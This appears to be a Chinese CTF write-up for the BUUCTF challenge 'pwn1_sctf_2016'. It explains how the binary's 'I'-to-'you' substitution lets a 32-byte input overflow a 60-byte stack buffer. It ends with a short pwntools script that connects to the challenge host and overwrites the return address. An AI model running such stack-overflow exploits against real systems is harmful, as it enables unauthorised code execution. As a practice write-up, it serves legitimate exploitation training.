BUUCTF-PWN-pwn1_sctf_2016

checksec

image-20211104160154149

IDA

image-20211104160317549

查看vuln函数

image-20211104160251709

C++写的代码不太看得懂,勉强能看出是有个fgets出入点,但是规定了最大输入长度32,所以没办法直接溢出

但是看到了“I”和”you“,虽然看不懂,但是运行一下试试

image-20211104160520774

原来它是将“I”全部转化为”you“,隐隐约约感觉是要用这个做突破口

查看一下s的栈情况:

image-20211104160958947

image-20211104161022756

从3C到0正好是60个字符的长度,那么可以用20个“I”将它覆盖,再加4个别的字符,就可以随意跳转到别的位置

EXP

1
2
3
4
5
6
7
8
from pwn import *

p = remote('node4.buuoj.cn', 26808)

payload = b'I' * 20 + b'a' * 4 + p32(0x8048f0d)

p.sendline(payload)
p.interactive()

结果

image-20211104161518853